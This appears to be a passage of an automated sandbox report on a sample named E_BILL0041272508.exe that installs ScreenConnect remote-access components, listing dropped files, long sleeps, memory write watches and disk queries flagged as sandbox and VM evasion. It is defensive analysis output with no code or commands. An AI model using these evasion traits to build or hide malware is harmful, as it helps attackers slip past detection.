Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Allocates memory with a write watch (potentially for evading sandboxes)
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Memory allocated: 23CCA640000 memory reserve | memory write watch Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Memory allocated: 23CE4130000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Memory allocated: 9A0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Memory allocated: 1A3A0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Memory allocated: FC0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Memory allocated: 2BE0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Memory allocated: 2A30000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Memory allocated: 1D50000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Memory allocated: 1F10000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Memory allocated: 3F10000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Memory allocated: 7F0000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Memory allocated: 1A240000 memory reserve | memory write watch
Contains long sleeps (>= 3 min)
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 600000 Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Thread delayed: delay time: 922337203685477
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Window / User API: threadDelayed 503 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Window / User API: threadDelayed 3706 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Window / User API: threadDelayed 596 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Window / User API: threadDelayed 4989 Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Window / User API: threadDelayed 353 Jump to behavior
Found dropped PE file which has not been started or loaded
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Deployment\L1OYMTWE.Y75\21CVL10Y.PB3\ScreenConnect.Windows.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Deployment\L1OYMTWE.Y75\21CVL10Y.PB3\ScreenConnect.WindowsFileManager.exe Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Deployment\L1OYMTWE.Y75\21CVL10Y.PB3\ScreenConnect.ClientService.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre...exe_25b0fbb6ef7eb094_0018.0002_none_98a7d58e59681f92\ScreenConnect.WindowsBackstageShell.exe Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..vice_4b14c015c87c1ad8_0018.0002_none_0564cf62aaf28471\ScreenConnect.ClientService.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..dows_4b14c015c87c1ad8_0018.0002_none_58890efb51813436\ScreenConnect.Windows.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Deployment\L1OYMTWE.Y75\21CVL10Y.PB3\ScreenConnect.Core.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Deployment\L1OYMTWE.Y75\21CVL10Y.PB3\ScreenConnect.WindowsBackstageShell.exe Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre...exe_25b0fbb6ef7eb094_0018.0002_none_98a7d58e59681f92\ScreenConnect.WindowsFileManager.exe Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..core_4b14c015c87c1ad8_0018.0002_none_5411371a15332106\ScreenConnect.Core.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..ient_4b14c015c87c1ad8_0018.0002_none_ea2694ec2482770a\ScreenConnect.Client.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Deployment\L1OYMTWE.Y75\21CVL10Y.PB3\ScreenConnect.Client.dll Jump to dropped file
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Users\user\Desktop\E_BILL0041272508.exe TID: 4364 Thread sleep time: -40000s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 6488 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 1828 Thread sleep time: -185300s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 1828 Thread sleep time: -249450s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 6488 Thread sleep time: -600000s >= -30000s Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 1780 Thread sleep time: -30000s >= -30000s Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 1780 Thread sleep time: -30000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe TID: 4620 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe TID: 6480 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe TID: 5764 Thread sleep count: 353 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe TID: 2404 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe TID: 2664 Thread sleep time: -922337203685477s >= -30000s
Queries disk information (often used to detect virtual machines)
Source: C:\Windows\System32\svchost.exe File opened: PhysicalDrive0 Jump to behavior
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Last function: Thread delayed
